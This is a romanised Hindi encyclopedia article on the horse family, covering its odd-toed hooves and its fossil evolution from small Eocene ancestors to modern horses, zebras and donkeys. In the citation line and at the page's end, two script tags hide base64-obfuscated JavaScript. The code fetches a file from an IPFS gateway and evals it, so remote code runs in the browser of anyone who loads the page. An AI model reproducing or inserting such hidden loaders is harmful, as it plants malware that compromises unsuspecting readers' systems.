अश्ववंश
ashvavansh - khuravale chaupayoan ka ek vansh hai jise laitin mean ikvidi kahate haian. is vansh ke sab sadasyoan mean khuroan ki sankhya visham (tak)-ek athava tin-rahane se inako vishamaangul (perisodaiktil) kahate haian. ashvavansh mean keval ek prajati (jinas) hai, jisamean gho de, gadahe aur zebara haian. inake atirikt is prajati mean ve sab lupt jantu bhi haian jo gho de ke poorvaj mane jate haian. any vishamaangul jivoan-gaiandoan aur tepiroan-ki apeksha ashvavansh ke jantu adhik chharahare aur phurtile sharir ke hote haian. vaijnanikoan ka vishvas hai ki aranbh mean gho de bhi mandagami aur patti khanevale jiv the. jaise jaise nichi pattiyoan ki kami p dati gee vaise vaise gho de adhikadhik ghas khane lage. tab unake daantoan ka vikas is prakar hua ki ve k di k di ghasean achchhi tarah chaba sakean. idhar bhedie adi hiansak jivoan se bachane ke lie unake charoan pairoan ki aanguliyoan ka tatha taang aur sare sharir ka aisa vikas hua ki ve veg se bhagakar apane ko bacha sakean. is prakar unake pairoan ki agal bagalavali aanguliyaan chhoti hoti gee aur bich ki aanguli ekal khur mean parinat ho gee. bhoomi mean mile jovashamoan se is siddhaant ka poora samarthan hota hai. gho de ki prachinatam thatari jivashm (f aausil) ke roop mean pradinootan yug ke aranbh ke pattharoan mean milati hai. tab gho de ajakal ki lom di ke barabar hote the, unake agale pairoan mean paanch aanguliyaan hoti thian, pichhale mean tin. chaubh d sharir ke akar ke anupat mean chhote kshetraphal ke hote the aur samane ke daant bhi chhote aur saral hote the. pradinootan kal ke aranbh se aj tak lagabhag sadhe paanch karo d varsh bit chuke haian. is dirgh kal mean gho doan ke anek jivashm mile haian, jinase pata chalata hai ki gho doan ke daantoan mean aur taangoan mean tatha khuroan mean kis prakar
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baee or agale aur dahini or pichhale pairoan ka kramik vikas dikhaya gaya hai. kramik vikas hokar aj ka suandar, pusht, tivragami aur ghas charanevala gho da utpann hua hai. madhyapradinootan yug mean agale pair ki paanchavian aanguli bekar nahian huee thian, parantu chaubh d kuchh chau de avashy ho ge the. adinootan yug mean chaubh d ke bagalavale daant bhi chaubh d ki tarah chau de ho chale the. samane ke taang ki aanguliyoan mean keval tin hi aanguliyaan kam kar pati thian, agal bagal ki aanguliyaan itani chhoti ho gee thian, ki ve bhoomi ko chhoo bhi nahian pati thian. bich ki aanguli bahut moti aur pusht ho gee thi. madhyanootanayug mean daant pahale se b de ho ge aur chaubh d ke bagalavale daant chaubh d ki tarah ho ge. samane ke pair ki bichavali aanguli khur mean badal gee aur agal bagal ki koee aanguli bhoomi ko nahian chhoo pati thi.
adinootanayug mean daant aur lanbe ho ge aur unaki akriti adhunik gho doan ke daantoan ki tarah ho gee. samane ka khur aur bhi b da ho gaya aur agal bagal ki aanguliyaan adhik chhoti aur bekar ho gee. pradinootanayug mean gho da adhunik gho de ki tarah ho gaya. usake jivashm us yug ke pattharoan mean amarika mean mile haian. is kal se pichhe ke pattharoan mean gho de ke jivashm bharat tatha eshiya ke any bhagoan aur aphrika mean bahutayat se mile haian.
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oopar ke chitr mean prachin gho de ke chhote tatha simeantavihin chaubh d dikhae ge haian. niche adhunik gho de ke poorn vikasit tatha simeant se abrit chaubh d dikhae ge haian. jab ki daantoan aur khuroan ka vikas hota raha tab tak sharir ke akar mean bhi vriddhi hoti rahi. griva ki kasherooka (ridh) aur mukh ki or ki khop di bhi badhati gee; isalie gho de ki akriti bhi badalati gee. oopar ke varnan mean sarvatr gho da shabd prayakt hua hai, parantu vaijnanikoan ne pratyek yug, ya yug ke pramukh khand, ke ashvavanshiy jantu ko vishesh nam de rakha haian. vikas ke kram mean kuchh nam ye haian: iyohipas, orohipas, epihipas, mesohipas, mayohipas, pairahipas, protohipas, playohipas,...plesipal aur eekvas. ye nam vikasakram ki saral vanshavali ke haian, jisake sab sadasy uttari amarika mean pae ge haian. protohipas ki ek shakha dakshin amarika pahuanchi aur doosari shakha eshiya mean pahuanchi. ye shakhaean kuchh samay mean samapt ho gee. eekvas ki ek shakha eshiya mean pahuanchi jisase zebara,gadaha aur gho da vikasit hue. amarika ke mool eekvas lupt ho ge.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 290 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>